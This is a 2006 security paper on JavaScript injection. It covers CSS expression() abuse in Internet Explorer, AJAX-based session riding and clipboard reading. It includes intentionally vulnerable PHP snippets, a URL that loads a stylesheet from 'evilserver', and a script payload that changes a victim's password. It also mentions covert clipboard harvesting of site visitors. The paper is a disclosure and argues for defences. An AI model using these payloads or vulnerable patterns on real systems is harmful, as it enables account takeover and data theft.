Misunderstanding Javascript injection: A paper on web application abuse via Javascript injection

Tim Brown

April 18, 2006

<mailto:timb@nth-dimension.org.uk>
<http://www.nth-dimension.org.uk> / <http://www.machine.org.uk>

Abstract

Whilst it is common to see the issue of Javascript injection on the various security oriented mailing lists, there are issues I've not seen much mention of, this paper seeks to rectify that. This paper seeks to make three key points:

1. To successfully inject, doesn't require `javascript:` or the `<script>` tag.
2. After successful injection, stuff the cookie, AJAX gives more room to move.
3. Web browsers shouldn't be able to read and write client's clipboards.

1 Technical Details

1. A little known feature of Microsoft's Internet Explorer is that it allows Javascript within cascading style sheets using the expression[1] directives. Consider the following code fragment in PHP:

```
<?php
echo "<link rel=\"stylesheet\" type=\"text/css\" href=\"" . $_GET["theme"] .
"/style.css\">\n";
?>
```

As you can see, the PHP interpreter will construct the URL to the `style.css` file, based on user input, which gives us a vector of attack. By requesting a URL of `http://server/index.php?theme=http://evilserver` the web server will return a page including the HTML code:

```
<link rel="stylesheet" type="text/css" href="http://evilserver/style.css">
```

and the client will therefore fetch our style sheet from `evilserver`. Taking a copy of the original style sheet from server, we then tweak it so that properties of the `p` class include our malicious code:

```
p {behaviour:expression(function(element){
 ... malicious code ...
}(this))}
```

What this does it bind an anonymous function containing our malicious code to the `p behaviour`[2] property implemented in Microsoft's propriety DHTML implementation. This anonymous function will be called for each `<p>` tag within the returned page.

The code above is just an example of a more generalised case. The cascading style sheet directive `url`[3] can also be used to reference a remote Javascript file and the injection point can be anywhere that can be used to define a style. Additionally, a similar issue[4] was posted to full-disclosure recently which affected Mozilla Firefox.

2. Pretty much all the major browsers in use today support asynchronous HTTP requests[5] and it's being extensively leveraged to provide a more dynamic web. However, for all the good uses in AJAX enabled web applications it suffers from major draw backs.

   Requests via the `XMLHttpRequest` interface run with the same rights (within the web server) as legitimate requests by a user using the same site. If a user is logged in and therefore has a valid cookie, this cookie will be sent in all requests made by any Javascript code injected into the web page as long as the requests are for URLs on the same domain.

   Now, that doesn't sound too bad, until you consider that the `XMLHttpRequest` interface supports both the `GET` and `POST` methods and can make multiple, undetectable requests. This is exactly what you'd need to spoof a session to, for example create a new administrative user, change the current users password etc. Consider the following code fragment in PHP:

```
<?php
session_name("user");
session_start();
if (!isset($_SESSION["authenticated"])) {
$_SESSION["authenticated"] = 1;
}
?>
 ...
<?php
echo "<form method=\"get\" action=\"" . $PHP_SELF . "\">\n";
echo "<input type=\"text\" name=\"input\" value=\"\" length=\"500\">\n";
echo "<input type=\"submit\" name=\"submit\" value=\"Submit\">\n";
echo "</form>\n";
if (isset($_GET["input"]) && $_GET["input"]!= "" && $_GET["submit"] == "Submit") {
echo "<p>\n";
print $_GET["input"] . "\n";
echo "</p>\n";
}
?>
```

   As you can see, this does two things, firstly it sets the cookie variable authenticated to `1` and secondly it returns a form to the current user which is vulnerable to Javascript injection. If we can get a user to follow our link (passing through any required authentication checks) we then have the ability to make further requests via the `XMLHttpRequest` interface like so:

```
<script>
var HTTPSession = new XMLHttpRequest();
HTTPSession.open("GET", "chpassword.php?password1=pwn3d&password2=pwn3d&submit=Submit");
HTTPSession.send(null);
HTTPSession.open("GET", "logout.php");
HTTPSession.send(null);
</script>
```

3. Another little known feature of Microsoft's Internet Explorer is that it allows Javascript to read and write the client's clipboard. I've been running some code on one of my web servers to monitor this, and of the 282 requests for the page concerned this month, there have been 407 successful attempts to snarf the clipboard. This issue is incredibly old[6] and yet it still persists.

2 Solution

Given the issues that Javascript injection poses, it is questionable whether it should be enabled by default on web browsers as they are supplied to members of the public. It is also questionable that Javascript should be considered an all or nothing option. Web browser developers need to up their game and start to provide sandbox functionality similar to that found in JVM, with options to limit access to dangerous interfaces on an individual site by site basis in a granular manner. It should also be considered whether it would be possible for Javascript code to be signed in a manner which makes use of existing PKI to lessen the opportunities available to malicious code. With specific reference to the use of Javascript within cascading style sheets, Microsoft have made it fairly awkward since they only allow a single expression to be evaluated, but perhaps it would be wise to completely disable this functionality.

3 Changes

1.2.4-1.2.5	Converted to LaTeX
1.2.3-1.2.4	Clarified summary removing reference since it was ambiguous
1.2.2-1.2.3	Clarified point 1, the more generalised case
1.2.1-1.2.2	Point 3, I suspect it should read web browsers, not web servers, since the code is executed by the client
1.2.0-1.2.1	Fixed a typo in the summary
1.1.0-1.2.0	Added point 3 regarding IE clipboard functionality and added new notes on point 1 with respect to Firefox
1.0.0-1.1.0	Clarified point 1 regarding full extent of issue

References

[1] *http://msdn.microsoft.com/workshop/author/dhtml/overview/recalc.asp*

[2] *http://milov.nl/2389*

[3] *http://webfx.eae.net/dhtml/pngbehavior/pngbehavior.html*

[4] *http://lists.grok.org.uk/pipermail/full-disclosure/2006-January/041822.html*

[5] *http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/html/63409298-0516-437d-b5af-68368157eae3.asp*

[6] *http://www.hideaway.net/vulnerabilities/ie_clipboard_45.html*